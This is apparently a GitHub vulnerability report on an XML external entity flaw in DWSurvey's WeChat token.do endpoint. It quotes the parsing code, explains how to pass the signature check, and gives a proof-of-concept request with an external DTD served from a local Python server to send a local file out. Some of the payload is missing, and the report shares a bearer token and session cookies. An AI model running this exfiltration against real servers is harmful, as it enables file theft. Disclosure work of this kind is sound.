Skip to content

XML External Entity Injection #116

Description

@wrndmzmnq

1.Problem Code
Entry point::tokenPost function in src/main/java/net/diaowen/common/base/controller/WeixinController.java
@RequestMapping(value = "/token.do",method= RequestMethod.POST) public String tokenPost(HttpServletRequest request,HttpServletResponse response){ try{ // 微信加密签名 String signature = request.getParameter("signature"); // 时间戳 String timestamp = request.getParameter("timestamp"); // 随机数 String nonce = request.getParameter("nonce"); // 随机字符串 String echostr = request.getParameter("echostr"); // /weixin/token.do?signature=00f51abf5fe5f72fa320c302cf082a38eb9e4295&echostr=4610130048411495279&timestamp=1596681070&nonce=231696381 if(timestamp!=null && nonce!=null){ String[] sortStr = new String[]{timestamp,nonce,DWSurveyConfig.DWSURVEY_WEIXIN_SERVER_TOKEN}; String str = SHA1.sortStr(sortStr); String sha1_0 = SHA1.getSha1(str); if(sha1_0.equals(signature)){ //解析消息体 if(echostr!=null){ response.getWriter().write(echostr); return null; }else{ Map<String, String> map= MessageUtil.parseXml(request); /*<ToUserName><![CDATA[toUser]]></ToUserName> <FromUserName><![CDATA[FromUser]]></FromUserName> <CreateTime>123456789</CreateTime> <MsgType><![CDATA[event]]></MsgType> <Event><![CDATA[subscribe]]></Event> <EventKey><![CDATA[qrscene_123123]]></EventKey> <Ticket><![CDATA[TICKET]]></Ticket>*/ String toUserName = map.get("ToUserName"); String fromUserName = map.get("FromUserName"); String createTime = map.get("CreateTime"); String msgType = map.get("MsgType"); String event = map.get("Event"); if("event".equals(msgType)){ //事件扫送 if(event.equals(MessageUtil.EVENT_TYPE_SUBSCRIBE)){ //用户关注时的推送 //判断是否有二维码及场景标识,如果有则是扫一扫绑定 String ticket = map.get("Ticket"); if(ticket!=null){ String eventKey = map.get("EventKey"); String qrScene = eventKey.replace("qrscene_",""); wxQrScene(fromUserName,qrScene,ticket); } }else if(event.equals("SCAN")){ //用户扫码时的推送 String ticket = map.get("Ticket"); if(ticket!=null){ String eventKey = map.get("EventKey"); wxQrScene(fromUserName,eventKey,ticket); } } } } } } response.getWriter().write(""); }catch (Exception e){ e.printStackTrace();; } return null; }The parseXml function is used here. The specific implementation of parseXml is:
` public static Map<String, String> parseXml(HttpServletRequest request) throws Exception {
// 将解析结果存储在HashMap中
Map<String, String> map = new HashMap<String, String>();

    // 从request中取得输入流
    InputStream inputStream = request.getInputStream();
    // 读取输入流
    SAXReader reader = new SAXReader();
    Document document = reader.read(inputStream);
    // 得到xml根元素
    Element root = document.getRootElement();
    // 得到根元素的所有子节点
    List<Element> elementList = root.elements();

    // 遍历所有子节点
    for (Element e : elementList)
        map.put(e.getName(), e.getText());

    // 释放资源
    inputStream.close();
    inputStream = null;

    return map;
}

}`SAXReader is called without disabling external entities, leading to XXE.

2.Exploitation Details: if(sha1_0.equals(signature)){ //解析消息体 if(echostr!=null){ response.getWriter().write(echostr); return null; }else{ Map<String, String> map= MessageUtil.parseXml(request);
To enter the if statement and the else branch, we need to pass the signature verification. The signature is computed by SHA1 of the concatenated string of timestamp and nonce (with a fixed token). To enter the else branch, we simply omit the echostr parameter. Construct the parameter signature=a4417ffe09febdf01beb986ae65afc30946ca3b1&timestamp=1700000000&nonce=88888888 (assuming the token is known or brute-forced; here the token value is 88888888 as per the example? Actually the original text says: "need to make the SHA1 encryption of the concatenated value of timestamp and nonce=88888888", implying the token used in concatenation is 88888888).

3.Verification:

Create evil.dtd locally with the content:
Then start a Python service to simulate your own server: python -m http.server 8000

Send a request with Burp Suite:
`POST /api/dwsurvey/anon/weixin/token.do?signature=a4417ffe09febdf01beb986ae65afc30946ca3b1&timestamp=1700000000&nonce=88888888 HTTP/1.1
Host: 192.168.56.1:8080
Authorization: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJkd3N1cnZleSIsIm5hbWUiOiLmn6_ov5wiLCJleHAiOjE3NzA5ODI3NDgsImlhdCI6MTc3MDk4MjQ0OCwianRpIjoiYmJhNDgyNTktMzhhOC00MmNlLWExY2ItMzg2NThiYTFhNTcyIiwidXNlcm5hbWUiOiJkd3N1cnZleSJ9.rwnSSOMQ1Kg5JVEedppJ4j7Wu8cEz6Ur2Jk7Xv6T50E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, /
Origin: http://192.168.56.1:8080
Referer: http://192.168.56.1:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_ecc8b50a3122e6d5e09be7a9e5383e07=1769957100,1770033416,1770384106; Hm_lvt_10b7c5c443cefbf733038751c89f7d7f=1770977772; HMACCOUNT=090AF7CD6CC25A4C; JSESSIONID=B2EFA772529769DB8B20890265ABAA80; Hm_lpvt_10b7c5c443cefbf733038751c89f7d7f=1770980275
Connection: keep-alive
Content-Type: application/xml
Content-Length: 132

%dtd;
]>
&send;`

Image Image

The data parameter contains the content of C:\Users\33354\1.txt.

Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions